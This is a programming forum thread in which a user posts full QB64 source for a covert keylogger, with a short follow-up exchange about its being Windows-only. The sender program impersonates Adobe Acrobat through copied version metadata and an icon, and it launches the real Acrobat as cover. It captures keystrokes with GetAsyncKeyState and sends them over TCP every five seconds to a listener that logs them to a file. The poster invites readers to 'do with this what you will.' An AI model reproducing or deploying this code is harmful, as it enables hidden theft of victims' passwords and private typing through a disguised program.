Author Topic: Keylogger over TCP/IP  (Read 3705 times)

0 Members and 1 Guest are viewing this topic.

Offline SpriggsySpriggs

  • Forum Resident
  • Posts: 1145
  • Larger than life
    • View Profile
    • GitHub
Keylogger over TCP/IP
« on: May 05, 2020, 03:31:16 pm »
Using some of the code out there for making a hidden mouse and key logger on the Wiki I decided to try to make a keylogger that would be truly sneaky. Behold, a keylogger that runs in the background and LOOKS like Adobe Acrobat, even launching the program (if it is installed)! It runs in the background sending the keystrokes to the recipient every 5 seconds to be put into a file on the recipient's hard drive. Do with this what you will. MWAAHHAHAHA!

Code for recipient's side:
Code: QB64: [Select]
  1. OPEN "logger.txt" FOR OUTPUT AS #F
  2. c = _OPENHOST("TCP/IP:300") 'or any other port that you decide to use for both sides
  3.     DO
  4.         client = _OPENCONNECTION(c)
  5.     LOOP UNTIL client
  6.     DO
  7.         GET #client, , b$
  8.         IF b$ <> "" THEN PRINT #F, b$
  9.         b$ = ""
  10.         _LIMIT 120
  11.     LOOP 'UNTIL INKEY$ = CHR$(27)

For the sender's side:
Code: QB64: [Select]
  1. _TITLE "Adobe Acrobat 2020"
  2. $VERSIONINFO:CompanyName=Adobe Inc.
  3. $VERSIONINFO:FileDescription=Adobe Acrobat 2020
  4. $VERSIONINFO:LegalCopyright=Copyright 1984-2020 Adobe Systems Inc
  5. $VERSIONINFO:Web=https://adobe.com
  6. $VERSIONINFO:Comments=Open and edit your PDFs naturally with Adobe Acrobat 2020!
  7. $VERSIONINFO:PRODUCTVERSION#=1,2,4,5
  8. $VERSIONINFO:FILEVERSION#=1,2,4,5
  9. $VERSIONINFO:ProductName=Adobe Acrobat 2020
  10. $EXEICON:'adobe icon.ico'
  11. '$INCLUDE:'adobe icon.ico.bin.bas'
  12.     FUNCTION GetAsyncKeyState% (BYVAL vkey AS LONG)
  13. '$DYNAMIC
  14.     SHELL _HIDE _DONTWAIT CHR$(34) + "C:\Program Files (x86)\Adobe\Acrobat DC\Acrobat\Acrobat.exe" + CHR$(34) + " " + CHR$(34) + COMMAND$ + CHR$(34)
  15.     SHELL _HIDE _DONTWAIT CHR$(34) + "C:\Program Files (x86)\Adobe\Acrobat DC\Acrobat\Acrobat.exe" + CHR$(34)
  16. DIM theitem$(1)
  17. c = _OPENCLIENT("TCP/IP:300:"+ recipientIP$)
  18.     LOGGER:
  19.     REDIM theitem$(1)
  20.     start = TIMER(0.01)
  21.     DO: _LIMIT 100
  22.         FOR thekey = &H30 TO &H5A
  23.             IF GetAsyncKeyState(thekey) THEN
  24.                 theitem$(a) = theitem$(a) + CHR$(thekey)
  25.                 DO
  26.                 LOOP UNTIL GetAsyncKeyState(thekey) = 0
  27.             END IF
  28.         NEXT
  29.         IF GetAsyncKeyState(&H20) THEN
  30.             theitem$(a) = theitem$(a) + " "
  31.             DO
  32.             LOOP UNTIL GetAsyncKeyState(&H20) = 0
  33.         END IF
  34.         IF GetAsyncKeyState(8) THEN
  35.             theitem$(a) = theitem$(a) + "{BS}"
  36.             DO
  37.             LOOP UNTIL GetAsyncKeyState(8) = 0
  38.         END IF
  39.         ender = TIMER(0.01)
  40.         IF ender >= start + 5 THEN
  41.             GOTO LOGWRITE
  42.         END IF
  43.     LOOP
  44.     LOGWRITE:
  45.     FOR b = 0 TO a
  46.         IF theitem$(b) <> "" THEN
  47.             PUT #c, , theitem$(b)
  48.         END IF
  49.     NEXT
  50.     GOTO LOGGER
Shuwatch!

Offline _vince

  • Seasoned Forum Regular
  • Posts: 422
    • View Profile
Re: Keylogger over TCP/IP
« Reply #1 on: May 05, 2020, 08:54:34 pm »
Looks neat and clever but it's not running on my linux computer ;-(

I hope someone with windows will try it!

Offline SpriggsySpriggs

  • Forum Resident
  • Posts: 1145
  • Larger than life
    • View Profile
    • GitHub
Re: Keylogger over TCP/IP
« Reply #2 on: May 05, 2020, 10:44:28 pm »
Looks neat and clever but it's not running on my linux computer ;-(

I hope someone with windows will try it!
This is because the calls are Windows specific and some of the versioninfo is probably not available in Linux.
Shuwatch!